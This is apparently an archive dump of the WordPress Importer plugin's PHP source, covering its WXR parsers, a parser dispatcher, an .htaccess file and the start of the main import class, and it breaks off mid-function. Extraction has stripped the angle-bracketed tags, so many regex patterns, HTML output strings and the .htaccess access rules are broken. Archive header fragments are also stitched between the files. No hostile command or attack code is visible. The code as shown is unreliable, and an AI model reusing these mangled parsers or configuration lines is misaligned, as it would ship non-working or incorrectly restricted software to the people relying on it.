XML_OPTION_SKIP_WHITE, 1 ); xml_parser_set_option( $xml, XML_OPTION_CASE_FOLDING, 0 ); xml_set_object( $xml, $this ); xml_set_character_data_handler( $xml, 'cdata' ); xml_set_element_handler( $xml, 'tag_open', 'tag_close' ); if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) { $current_line = xml_get_current_line_number( $xml ); $current_column = xml_get_current_column_number( $xml ); $error_code = xml_get_error_code( $xml ); $error_string = xml_error_string( $error_code ); return new WP_Error( 'XML_parse_error', 'There was an error when reading this WXR file', array( $current_line, $current_column, $error_string ) ); } xml_parser_free( $xml ); if ( ! preg_match( '/^\d+\.\d+$/', $this->wxr_version ) ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); return array( 'authors' => $this->authors, 'posts' => $this->posts, 'categories' => $this->category, 'tags' => $this->tag, 'terms' => $this->term, 'base_url' => $this->base_url, 'base_blog_url' => $this->base_blog_url, 'version' => $this->wxr_version ); } function tag_open( $parse, $tag, $attr ) { if ( in_array( $tag, $this->wp_tags ) ) { $this->in_tag = substr( $tag, 3 ); return; } if ( in_array( $tag, $this->wp_sub_tags ) ) { $this->in_sub_tag = substr( $tag, 3 ); return; } switch ( $tag ) { case 'category': if ( isset($attr['domain'], $attr['nicename']) ) { $this->sub_data['domain'] = $attr['domain']; $this->sub_data['slug'] = $attr['nicename']; } break; case 'item': $this->in_post = true; case 'title': if ( $this->in_post ) $this->in_tag = 'post_title'; break; case 'guid': $this->in_tag = 'guid'; break; case 'dc:creator': $this->in_tag = 'post_author'; break; case 'content:encoded': $this->in_tag = 'post_content'; break; case 'excerpt:encoded': $this->in_tag = 'post_excerpt'; break; case 'wp:term_slug': $this->in_tag = 'slug'; break; case 'wp:meta_key': $this->in_sub_tag = 'key'; break; case 'wp:meta_value': $this->in_sub_tag = 'value'; break; } } function cdata( $parser, $cdata ) { if ( ! trim( $cdata ) ) return; if ( false !== $this->in_tag || false !== $this->in_sub_tag ) { $this->cdata .= $cdata; } else { $this->cdata .= trim( $cdata ); } } function tag_close( $parser, $tag ) { switch ( $tag ) { case 'wp:comment': unset( $this->sub_data['key'], $this->sub_data['value'] ); // remove meta sub_data if ( ! empty( $this->sub_data ) ) $this->data['comments'][] = $this->sub_data; $this->sub_data = false; break; case 'wp:commentmeta': $this->sub_data['commentmeta'][] = array( 'key' => $this->sub_data['key'], 'value' => $this->sub_data['value'] ); break; case 'category': if ( ! empty( $this->sub_data ) ) { $this->sub_data['name'] = $this->cdata; $this->data['terms'][] = $this->sub_data; } $this->sub_data = false; break; case 'wp:postmeta': if ( ! empty( $this->sub_data ) ) $this->data['postmeta'][] = $this->sub_data; $this->sub_data = false; break; case 'item': $this->posts[] = $this->data; $this->data = false; break; case 'wp:category': case 'wp:tag': case 'wp:term': $n = substr( $tag, 3 ); array_push( $this->$n, $this->data ); $this->data = false; break; case 'wp:termmeta': if ( ! empty( $this->sub_data ) ) { $this->data['termmeta'][] = $this->sub_data; } $this->sub_data = false; break; case 'wp:author': if ( ! empty($this->data['author_login']) ) $this->authors[$this->data['author_login']] = $this->data; $this->data = false; break; case 'wp:base_site_url': $this->base_url = $this->cdata; if ( ! isset( $this->base_blog_url ) ) { $this->base_blog_url = $this->cdata; } break; case 'wp:base_blog_url': $this->base_blog_url = $this->cdata; break; case 'wp:wxr_version': $this->wxr_version = $this->cdata; break; default: if ( $this->in_sub_tag ) { $this->sub_data[$this->in_sub_tag] = ! empty( $this->cdata ) ? $this->cdata : ''; $this->in_sub_tag = false; } else if ( $this->in_tag ) { $this->data[$this->in_tag] = ! empty( $this->cdata ) ? $this->cdata : ''; $this->in_tag = false; } } $this->cdata = false; } } import/lib/parsers/class-wxr-parser-regex.php000064400000024751147207023670015362 0ustar00has_gzip = is_callable( 'gzopen' ); } function parse( $file ) { $wxr_version = $in_multiline = false; $multiline_content = ''; $multiline_tags = array( 'item' => array( 'posts', array( $this, 'process_post' ) ), 'wp:category' => array( 'categories', array( $this, 'process_category' ) ), 'wp:tag' => array( 'tags', array( $this, 'process_tag' ) ), 'wp:term' => array( 'terms', array( $this, 'process_term' ) ), ); $fp = $this->fopen( $file, 'r' ); if ( $fp ) { while ( ! $this->feof( $fp ) ) { $importline = rtrim( $this->fgets( $fp ) ); if ( ! $wxr_version && preg_match( '|(\d+\.\d+)|', $importline, $version ) ) $wxr_version = $version[1]; if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $url ); $this->base_url = $url[1]; continue; } if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $blog_url ); $this->base_blog_url = $blog_url[1]; continue; } else { $this->base_blog_url = $this->base_url; } if ( false !== strpos( $importline, '' ) ) { preg_match( '|(.*?)|is', $importline, $author ); $a = $this->process_author( $author[1] ); $this->authors[$a['author_login']] = $a; continue; } foreach ( $multiline_tags as $tag => $handler ) { // Handle multi-line tags on a singular line if ( preg_match( '|<' . $tag . '>(.*?)|is', $importline, $matches ) ) { $this->{$handler[0]}[] = call_user_func( $handler[1], $matches[1] ); } elseif ( false !== ( $pos = strpos( $importline, "<$tag>" ) ) ) { // Take note of any content after the opening tag $multiline_content = trim( substr( $importline, $pos + strlen( $tag ) + 2 ) ); // We don't want to have this line added to `$is_multiline` below. $importline = ''; $in_multiline = $tag; } elseif ( false !== ( $pos = strpos( $importline, "" ) ) ) { $in_multiline = false; $multiline_content .= trim( substr( $importline, 0, $pos ) ); $this->{$handler[0]}[] = call_user_func( $handler[1], $multiline_content ); } } if ( $in_multiline && $importline ) { $multiline_content .= $importline . "\n"; } } $this->fclose($fp); } if ( ! $wxr_version ) return new WP_Error( 'WXR_parse_error', __( 'This does not appear to be a WXR file, missing/invalid WXR version number', 'wordpress-importer' ) ); return array( 'authors' => $this->authors, 'posts' => $this->posts, 'categories' => $this->categories, 'tags' => $this->tags, 'terms' => $this->terms, 'base_url' => $this->base_url, 'base_blog_url' => $this->base_blog_url, 'version' => $wxr_version ); } function get_tag( $string, $tag ) { preg_match( "|<$tag.*?>(.*?)|is", $string, $return ); if ( isset( $return[1] ) ) { if ( substr( $return[1], 0, 9 ) == '' ) !== false ) { preg_match_all( '||s', $return[1], $matches ); $return = ''; foreach( $matches[1] as $match ) $return .= $match; } else { $return = preg_replace( '|^$|s', '$1', $return[1] ); } } else { $return = $return[1]; } } else { $return = ''; } return $return; } function process_category( $c ) { $term = array( 'term_id' => $this->get_tag( $c, 'wp:term_id' ), 'cat_name' => $this->get_tag( $c, 'wp:cat_name' ), 'category_nicename' => $this->get_tag( $c, 'wp:category_nicename' ), 'category_parent' => $this->get_tag( $c, 'wp:category_parent' ), 'category_description' => $this->get_tag( $c, 'wp:category_description' ), ); $term_meta = $this->process_meta( $c, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_tag( $t ) { $term = array( 'term_id' => $this->get_tag( $t, 'wp:term_id' ), 'tag_name' => $this->get_tag( $t, 'wp:tag_name' ), 'tag_slug' => $this->get_tag( $t, 'wp:tag_slug' ), 'tag_description' => $this->get_tag( $t, 'wp:tag_description' ), ); $term_meta = $this->process_meta( $t, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_term( $t ) { $term = array( 'term_id' => $this->get_tag( $t, 'wp:term_id' ), 'term_taxonomy' => $this->get_tag( $t, 'wp:term_taxonomy' ), 'slug' => $this->get_tag( $t, 'wp:term_slug' ), 'term_parent' => $this->get_tag( $t, 'wp:term_parent' ), 'term_name' => $this->get_tag( $t, 'wp:term_name' ), 'term_description' => $this->get_tag( $t, 'wp:term_description' ), ); $term_meta = $this->process_meta( $t, 'wp:termmeta' ); if ( ! empty( $term_meta ) ) { $term['termmeta'] = $term_meta; } return $term; } function process_meta( $string, $tag ) { $parsed_meta = array(); preg_match_all( "|<$tag>(.+?)|is", $string, $meta ); if ( ! isset( $meta[1] ) ) { return $parsed_meta; } foreach ( $meta[1] as $m ) { $parsed_meta[] = array( 'key' => $this->get_tag( $m, 'wp:meta_key' ), 'value' => $this->get_tag( $m, 'wp:meta_value' ), ); } return $parsed_meta; } function process_author( $a ) { return array( 'author_id' => $this->get_tag( $a, 'wp:author_id' ), 'author_login' => $this->get_tag( $a, 'wp:author_login' ), 'author_email' => $this->get_tag( $a, 'wp:author_email' ), 'author_display_name' => $this->get_tag( $a, 'wp:author_display_name' ), 'author_first_name' => $this->get_tag( $a, 'wp:author_first_name' ), 'author_last_name' => $this->get_tag( $a, 'wp:author_last_name' ), ); } function process_post( $post ) { $post_id = $this->get_tag( $post, 'wp:post_id' ); $post_title = $this->get_tag( $post, 'title' ); $post_date = $this->get_tag( $post, 'wp:post_date' ); $post_date_gmt = $this->get_tag( $post, 'wp:post_date_gmt' ); $comment_status = $this->get_tag( $post, 'wp:comment_status' ); $ping_status = $this->get_tag( $post, 'wp:ping_status' ); $status = $this->get_tag( $post, 'wp:status' ); $post_name = $this->get_tag( $post, 'wp:post_name' ); $post_parent = $this->get_tag( $post, 'wp:post_parent' ); $menu_order = $this->get_tag( $post, 'wp:menu_order' ); $post_type = $this->get_tag( $post, 'wp:post_type' ); $post_password = $this->get_tag( $post, 'wp:post_password' ); $is_sticky = $this->get_tag( $post, 'wp:is_sticky' ); $guid = $this->get_tag( $post, 'guid' ); $post_author = $this->get_tag( $post, 'dc:creator' ); $post_excerpt = $this->get_tag( $post, 'excerpt:encoded' ); $post_excerpt = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_excerpt ); $post_excerpt = str_replace( '
', '
', $post_excerpt ); $post_excerpt = str_replace( '
', '
', $post_excerpt ); $post_content = $this->get_tag( $post, 'content:encoded' ); $post_content = preg_replace_callback( '|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content ); $post_content = str_replace( '
', '
', $post_content ); $post_content = str_replace( '
', '
', $post_content ); $postdata = compact( 'post_id', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_excerpt', 'post_title', 'status', 'post_name', 'comment_status', 'ping_status', 'guid', 'post_parent', 'menu_order', 'post_type', 'post_password', 'is_sticky' ); $attachment_url = $this->get_tag( $post, 'wp:attachment_url' ); if ( $attachment_url ) $postdata['attachment_url'] = $attachment_url; preg_match_all( '|(.+?)|is', $post, $terms, PREG_SET_ORDER ); foreach ( $terms as $t ) { $post_terms[] = array( 'slug' => $t[2], 'domain' => $t[1], 'name' => str_replace( array( '' ), '', $t[3] ), ); } if ( ! empty( $post_terms ) ) $postdata['terms'] = $post_terms; preg_match_all( '|(.+?)|is', $post, $comments ); $comments = $comments[1]; if ( $comments ) { foreach ( $comments as $comment ) { $post_comments[] = array( 'comment_id' => $this->get_tag( $comment, 'wp:comment_id' ), 'comment_author' => $this->get_tag( $comment, 'wp:comment_author' ), 'comment_author_email' => $this->get_tag( $comment, 'wp:comment_author_email' ), 'comment_author_IP' => $this->get_tag( $comment, 'wp:comment_author_IP' ), 'comment_author_url' => $this->get_tag( $comment, 'wp:comment_author_url' ), 'comment_date' => $this->get_tag( $comment, 'wp:comment_date' ), 'comment_date_gmt' => $this->get_tag( $comment, 'wp:comment_date_gmt' ), 'comment_content' => $this->get_tag( $comment, 'wp:comment_content' ), 'comment_approved' => $this->get_tag( $comment, 'wp:comment_approved' ), 'comment_type' => $this->get_tag( $comment, 'wp:comment_type' ), 'comment_parent' => $this->get_tag( $comment, 'wp:comment_parent' ), 'comment_user_id' => $this->get_tag( $comment, 'wp:comment_user_id' ), 'commentmeta' => $this->process_meta( $comment, 'wp:commentmeta' ), ); } } if ( ! empty( $post_comments ) ) { $postdata['comments'] = $post_comments; } $post_meta = $this->process_meta( $post, 'wp:postmeta' ); if ( ! empty( $post_meta ) ) { $postdata['postmeta'] = $post_meta; } return $postdata; } function _normalize_tag( $matches ) { return '<' . strtolower( $matches[1] ); } function fopen( $filename, $mode = 'r' ) { if ( $this->has_gzip ) return gzopen( $filename, $mode ); return fopen( $filename, $mode ); } function feof( $fp ) { if ( $this->has_gzip ) return gzeof( $fp ); return feof( $fp ); } function fgets( $fp, $len = 8192 ) { if ( $this->has_gzip ) return gzgets( $fp, $len ); return fgets( $fp, $len ); } function fclose( $fp ) { if ( $this->has_gzip ) return gzclose( $fp ); return fclose( $fp ); } } import/lib/parsers/class-wxr-parser.php000064400000003531147207023670014243 0ustar00parse( $file ); // If SimpleXML succeeds or this is an invalid WXR file then return the results if ( ! is_wp_error( $result ) || 'SimpleXML_parse_error' != $result->get_error_code() ) return $result; } else if ( extension_loaded( 'xml' ) ) { $parser = new WXR_Parser_XML; $result = $parser->parse( $file ); // If XMLParser succeeds or this is an invalid WXR file then return the results if ( ! is_wp_error( $result ) || 'XML_parse_error' != $result->get_error_code() ) return $result; } // We have a malformed XML file, so display the error and fallthrough to regex if ( isset($result) && defined('IMPORT_DEBUG') && IMPORT_DEBUG ) { echo '
';
			if ( 'SimpleXML_parse_error' == $result->get_error_code() ) {
				foreach  ( $result->get_error_data() as $error )
					echo $error->line . ':' . $error->column . ' ' . esc_html( $error->message ) . "\n";
			} else if ( 'XML_parse_error' == $result->get_error_code() ) {
				$error = $result->get_error_data();
				echo $error[0] . ':' . $error[1] . ' ' . esc_html( $error[2] );
			}
			echo '
'; echo '

' . __( 'There was an error when reading this WXR file', 'wordpress-importer' ) . '
'; echo __( 'Details are shown above. The importer will now try again with a different parser...', 'wordpress-importer' ) . '

'; } // use regular expressions if nothing else available or this is bad XML $parser = new WXR_Parser_Regex; return $parser->parse( $file ); } } import/lib/parsers/.htaccess000064400000001626147207023670012116 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] import/lib/wordpress-importer.php000064400000002731147207023670013237 0ustar00 $item ) { $value[ $index ] = map_deep( $item, $callback ); } } elseif ( is_object( $value ) ) { $object_vars = get_object_vars( $value ); foreach ( $object_vars as $property_name => $property_value ) { $value->$property_name = map_deep( $property_value, $callback ); } } else { $value = call_user_func( $callback, $value ); } return $value; } } import/lib/class-wp-import.php000064400000144176147207023670012423 0ustar00header(); $step = empty( $_GET['step'] ) ? 0 : (int) $_GET['step']; switch ( $step ) { case 0: $this->greet(); break; case 1: check_admin_referer( 'import-upload' ); if ( $this->handle_upload() ) $this->import_options(); break; case 2: check_admin_referer( 'import-wordpress' ); $this->fetch_attachments = ( ! empty( $_POST['fetch_attachments'] ) && $this->allow_fetch_attachments() ); $this->id = (int) $_POST['import_id']; $file = get_attached_file( $this->id ); set_time_limit(0); $this->import( $file ); break; } $this->footer(); } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing */ function import( $file ) { add_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) ); add_filter( 'http_request_timeout', array( &$this, 'bump_request_timeout' ) ); $this->import_start( $file ); $this->get_author_mapping(); wp_suspend_cache_invalidation( true ); $this->process_categories(); $this->process_tags(); $this->process_terms(); $this->process_posts(); wp_suspend_cache_invalidation( false ); // update incorrect/missing information in the DB $this->backfill_parents(); $this->backfill_attachment_urls(); $this->remap_featured_images(); $this->import_end(); } /** * Parses the WXR file and prepares us for the task of processing parsed data * * @param string $file Path to the WXR file for importing */ function import_start( $file ) { // if ( ! is_file($file) ) { // echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; // echo __( 'The file does not exist, please try again.', 'wordpress-importer' ) . '

'; // $this->footer(); // die(); // } $import_data = $this->parse( $file ); if ( is_wp_error( $import_data ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $import_data->get_error_message() ) . '

'; $this->footer(); die(); } $this->version = $import_data['version']; $this->get_authors_from_import( $import_data ); $this->posts = $import_data['posts']; $this->terms = $import_data['terms']; $this->categories = $import_data['categories']; $this->tags = $import_data['tags']; $this->base_url = esc_url( $import_data['base_url'] ); wp_defer_term_counting( true ); wp_defer_comment_counting( true ); do_action( 'import_start' ); } /** * Performs post-import cleanup of files and the cache */ function import_end() { wp_import_cleanup( $this->id ); wp_cache_flush(); foreach ( get_taxonomies() as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } wp_defer_term_counting( false ); wp_defer_comment_counting( false ); echo '

' . __( 'All done.', 'wordpress-importer' ) . ' ' . __( 'Have fun!', 'wordpress-importer' ) . '' . '

'; echo '

' . __( 'Remember to update the passwords and roles of imported users.', 'wordpress-importer' ) . '

'; do_action( 'import_end' ); } /** * Handles the WXR upload and initial parsing of the file to prepare for * displaying author import options * * @return bool False if error uploading or invalid file, true otherwise */ function handle_upload() { $file = wp_import_handle_upload(); if ( isset( $file['error'] ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $file['error'] ) . '

'; return false; } else if ( ! file_exists( $file['file'] ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; printf( __( 'The export file could not be found at %s. It is likely that this was caused by a permissions problem.', 'wordpress-importer' ), esc_html( $file['file'] ) ); echo '

'; return false; } $this->id = (int) $file['id']; $import_data = $this->parse( $file['file'] ); if ( is_wp_error( $import_data ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $import_data->get_error_message() ) . '

'; return false; } $this->version = $import_data['version']; if ( $this->version > $this->max_wxr_version ) { echo '

'; printf( __( 'This WXR file (version %s) may not be supported by this version of the importer. Please consider updating.', 'wordpress-importer' ), esc_html($import_data['version']) ); echo '

'; } $this->get_authors_from_import( $import_data ); return true; } /** * Retrieve authors from parsed WXR data * * Uses the provided author information from WXR 1.1 files * or extracts info from each post for WXR 1.0 files * * @param array $import_data Data returned by a WXR parser */ function get_authors_from_import( $import_data ) { if ( ! empty( $import_data['authors'] ) ) { $this->authors = $import_data['authors']; // no author information, grab it from the posts } else { foreach ( $import_data['posts'] as $post ) { $login = sanitize_user( $post['post_author'], true ); if ( empty( $login ) ) { printf( __( 'Failed to import author %s. Their posts will be attributed to the current user.', 'wordpress-importer' ), esc_html( $post['post_author'] ) ); echo '
'; continue; } if ( ! isset($this->authors[$login]) ) $this->authors[$login] = array( 'author_login' => $login, 'author_display_name' => $post['post_author'] ); } } } /** * Display pre-import options, author importing/mapping and option to * fetch attachments */ function import_options() { $j = 0; ?>
authors ) ) : ?>

allow_create_users() ) : ?>

    authors as $author ) : ?>
  1. author_select( $j++, $author ); ?>
allow_fetch_attachments() ) : ?>

' . esc_html( $author['author_display_name'] ); if ( $this->version != '1.0' ) echo ' (' . esc_html( $author['author_login'] ) . ')'; echo '
'; if ( $this->version != '1.0' ) echo '
'; $create_users = $this->allow_create_users(); if ( $create_users ) { echo ''; echo '
'; } echo ''; echo ' ' . wp_dropdown_users( array( 'name' => "user_map[$n]", 'id' => 'imported_authors_' . $n, 'multi' => true, 'show_option_all' => __( '- Select -', 'wordpress-importer' ), 'show' => 'display_name_with_login', 'echo' => 0, ) ); echo ''; if ( $this->version != '1.0' ) echo '
'; } /** * Map old author logins to local user IDs based on decisions made * in import options form. Can map to an existing user, create a new user * or falls back to the current user in case of error with either of the previous */ function get_author_mapping() { if ( ! isset( $_POST['imported_authors'] ) ) return; $create_users = $this->allow_create_users(); foreach ( (array) $_POST['imported_authors'] as $i => $old_login ) { // Multisite adds strtolower to sanitize_user. Need to sanitize here to stop breakage in process_posts. $santized_old_login = sanitize_user( $old_login, true ); $old_id = isset( $this->authors[$old_login]['author_id'] ) ? intval($this->authors[$old_login]['author_id']) : false; if ( ! empty( $_POST['user_map'][$i] ) ) { $user = get_userdata( intval($_POST['user_map'][$i]) ); if ( isset( $user->ID ) ) { if ( $old_id ) $this->processed_authors[$old_id] = $user->ID; $this->author_mapping[$santized_old_login] = $user->ID; } } else if ( $create_users ) { if ( ! empty($_POST['user_new'][$i]) ) { $user_id = wp_create_user( $_POST['user_new'][$i], wp_generate_password() ); } else if ( $this->version != '1.0' ) { $user_data = array( 'user_login' => $old_login, 'user_pass' => wp_generate_password(), 'user_email' => isset( $this->authors[$old_login]['author_email'] ) ? $this->authors[$old_login]['author_email'] : '', 'display_name' => $this->authors[$old_login]['author_display_name'], 'first_name' => isset( $this->authors[$old_login]['author_first_name'] ) ? $this->authors[$old_login]['author_first_name'] : '', 'last_name' => isset( $this->authors[$old_login]['author_last_name'] ) ? $this->authors[$old_login]['author_last_name'] : '', ); $user_id = wp_insert_user( $user_data ); } if ( ! is_wp_error( $user_id ) ) { if ( $old_id ) $this->processed_authors[$old_id] = $user_id; $this->author_mapping[$santized_old_login] = $user_id; } else { printf( __( 'Failed to create new user for %s. Their posts will be attributed to the current user.', 'wordpress-importer' ), esc_html($this->authors[$old_login]['author_display_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ' ' . $user_id->get_error_message(); echo '
'; } } // failsafe: if the user_id was invalid, default to the current user if ( ! isset( $this->author_mapping[$santized_old_login] ) ) { if ( $old_id ) $this->processed_authors[$old_id] = (int) get_current_user_id(); $this->author_mapping[$santized_old_login] = (int) get_current_user_id(); } } } /** * Create new categories based on import information * * Doesn't create a new category if its slug already exists */ function process_categories() { $this->categories = apply_filters( 'wp_import_categories', $this->categories ); if ( empty( $this->categories ) ) return; foreach ( $this->categories as $cat ) { // if the category already exists leave it alone $term_id = term_exists( $cat['category_nicename'], 'category' ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($cat['term_id']) ) $this->processed_terms[intval($cat['term_id'])] = (int) $term_id; continue; } $parent = empty( $cat['category_parent'] ) ? 0 : category_exists( $cat['category_parent'] ); $description = isset( $cat['category_description'] ) ? $cat['category_description'] : ''; $data = array( 'category_nicename' => $cat['category_nicename'], 'category_parent' => $parent, 'cat_name' => wp_slash( $cat['cat_name'] ), 'category_description' => wp_slash( $description ), ); $id = wp_insert_category( $data ); if ( ! is_wp_error( $id ) && $id > 0 ) { if ( isset($cat['term_id']) ) $this->processed_terms[intval($cat['term_id'])] = $id; } else { printf( __( 'Failed to import category %s', 'wordpress-importer' ), esc_html($cat['category_nicename']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $cat, $id ); } unset( $this->categories ); } /** * Create new post tags based on import information * * Doesn't create a tag if its slug already exists */ function process_tags() { $this->tags = apply_filters( 'wp_import_tags', $this->tags ); if ( empty( $this->tags ) ) return; foreach ( $this->tags as $tag ) { // if the tag already exists leave it alone $term_id = term_exists( $tag['tag_slug'], 'post_tag' ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($tag['term_id']) ) $this->processed_terms[intval($tag['term_id'])] = (int) $term_id; continue; } $description = isset( $tag['tag_description'] ) ? $tag['tag_description'] : ''; $args = array( 'slug' => $tag['tag_slug'], 'description' => wp_slash( $description ), ); $id = wp_insert_term( wp_slash( $tag['tag_name'] ), 'post_tag', $args ); if ( ! is_wp_error( $id ) ) { if ( isset($tag['term_id']) ) $this->processed_terms[intval($tag['term_id'])] = $id['term_id']; } else { printf( __( 'Failed to import post tag %s', 'wordpress-importer' ), esc_html($tag['tag_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $tag, $id['term_id'] ); } unset( $this->tags ); } /** * Create new terms based on import information * * Doesn't create a term its slug already exists */ function process_terms() { $this->terms = apply_filters( 'wp_import_terms', $this->terms ); if ( empty( $this->terms ) ) return; foreach ( $this->terms as $term ) { // if the term already exists in the correct taxonomy leave it alone $term_id = term_exists( $term['slug'], $term['term_taxonomy'] ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($term['term_id']) ) $this->processed_terms[intval($term['term_id'])] = (int) $term_id; continue; } if ( empty( $term['term_parent'] ) ) { $parent = 0; } else { $parent = term_exists( $term['term_parent'], $term['term_taxonomy'] ); if ( is_array( $parent ) ) { $parent = $parent['term_id']; } } $description = isset( $term['term_description'] ) ? $term['term_description'] : ''; $args = array( 'slug' => $term['slug'], 'description' => wp_slash( $description ), 'parent' => (int) $parent ); $id = wp_insert_term( wp_slash( $term['term_name'] ), $term['term_taxonomy'], $args ); if ( ! is_wp_error( $id ) ) { if ( isset($term['term_id']) ) $this->processed_terms[intval($term['term_id'])] = $id['term_id']; } else { printf( __( 'Failed to import %s %s', 'wordpress-importer' ), esc_html($term['term_taxonomy']), esc_html($term['term_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $term, $id['term_id'] ); } unset( $this->terms ); } /** * Add metadata to imported term. * * @since 0.6.2 * * @param array $term Term data from WXR import. * @param int $term_id ID of the newly created term. */ protected function process_termmeta( $term, $term_id ) { if ( ! function_exists( 'add_term_meta' ) ) { return; } if ( ! isset( $term['termmeta'] ) ) { $term['termmeta'] = array(); } /** * Filters the metadata attached to an imported term. * * @since 0.6.2 * * @param array $termmeta Array of term meta. * @param int $term_id ID of the newly created term. * @param array $term Term data from the WXR import. */ $term['termmeta'] = apply_filters( 'wp_import_term_meta', $term['termmeta'], $term_id, $term ); if ( empty( $term['termmeta'] ) ) { return; } foreach ( $term['termmeta'] as $meta ) { /** * Filters the meta key for an imported piece of term meta. * * @since 0.6.2 * * @param string $meta_key Meta key. * @param int $term_id ID of the newly created term. * @param array $term Term data from the WXR import. */ $key = apply_filters( 'import_term_meta_key', $meta['key'], $term_id, $term ); if ( ! $key ) { continue; } // Export gets meta straight from the DB so could have a serialized string $value = maybe_unserialize( $meta['value'] ); add_term_meta( $term_id, wp_slash( $key ), wp_slash_strings_only( $value ) ); /** * Fires after term meta is imported. * * @since 0.6.2 * * @param int $term_id ID of the newly created term. * @param string $key Meta key. * @param mixed $value Meta value. */ do_action( 'import_term_meta', $term_id, $key, $value ); } } /** * Create new posts based on import information * * Posts marked as having a parent which doesn't exist will become top level items. * Doesn't create a new post if: the post type doesn't exist, the given post ID * is already noted as imported or a post with the same title and date already exists. * Note that new/updated terms, comments and meta are imported for the last of the above. */ function process_posts() { $this->posts = apply_filters( 'wp_import_posts', $this->posts ); foreach ( $this->posts as $post ) { $post = apply_filters( 'wp_import_post_data_raw', $post ); if ( ! post_type_exists( $post['post_type'] ) ) { printf( __( 'Failed to import “%s”: Invalid post type %s', 'wordpress-importer' ), esc_html($post['post_title']), esc_html($post['post_type']) ); echo '
'; do_action( 'wp_import_post_exists', $post ); continue; } if ( isset( $this->processed_posts[$post['post_id']] ) && ! empty( $post['post_id'] ) ) continue; if ( $post['status'] == 'auto-draft' ) continue; if ( 'nav_menu_item' == $post['post_type'] ) { $this->process_menu_item( $post ); continue; } $post_type_object = get_post_type_object( $post['post_type'] ); $post_exists = post_exists( $post['post_title'], '', $post['post_date'] ); /** * Filter ID of the existing post corresponding to post currently importing. * * Return 0 to force the post to be imported. Filter the ID to be something else * to override which existing post is mapped to the imported post. * * @see post_exists() * @since 0.6.2 * * @param int $post_exists Post ID, or 0 if post did not exist. * @param array $post The post array to be inserted. */ $post_exists = apply_filters( 'wp_import_existing_post', $post_exists, $post ); if ( $post_exists && get_post_type( $post_exists ) == $post['post_type'] ) { printf( __('%s “%s” already exists.', 'wordpress-importer'), $post_type_object->labels->singular_name, esc_html($post['post_title']) ); echo '
'; $comment_post_ID = $post_id = $post_exists; $this->processed_posts[ intval( $post['post_id'] ) ] = intval( $post_exists ); } else { $post_parent = (int) $post['post_parent']; if ( $post_parent ) { // if we already know the parent, map it to the new local ID if ( isset( $this->processed_posts[$post_parent] ) ) { $post_parent = $this->processed_posts[$post_parent]; // otherwise record the parent for later } else { $this->post_orphans[intval($post['post_id'])] = $post_parent; $post_parent = 0; } } // map the post author $author = sanitize_user( $post['post_author'], true ); if ( isset( $this->author_mapping[$author] ) ) $author = $this->author_mapping[$author]; else $author = (int) get_current_user_id(); $postdata = array( 'import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password'] ); $original_post_ID = $post['post_id']; $postdata = apply_filters( 'wp_import_post_data_processed', $postdata, $post ); $postdata = wp_slash( $postdata ); if ( 'attachment' == $postdata['post_type'] ) { $remote_url = ! empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid']; // try to use _wp_attached file for upload folder placement to ensure the same location as the export site // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload() $postdata['upload_date'] = $post['post_date']; if ( isset( $post['postmeta'] ) ) { foreach( $post['postmeta'] as $meta ) { if ( $meta['key'] == '_wp_attached_file' ) { if ( preg_match( '%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches ) ) $postdata['upload_date'] = $matches[0]; break; } } } $comment_post_ID = $post_id = $this->process_attachment( $postdata, $remote_url ); } else { $comment_post_ID = $post_id = wp_insert_post( $postdata, true ); do_action( 'wp_import_insert_post', $post_id, $original_post_ID, $postdata, $post ); } if ( is_wp_error( $post_id ) ) { printf( __( 'Failed to import %s “%s”', 'wordpress-importer' ), $post_type_object->labels->singular_name, 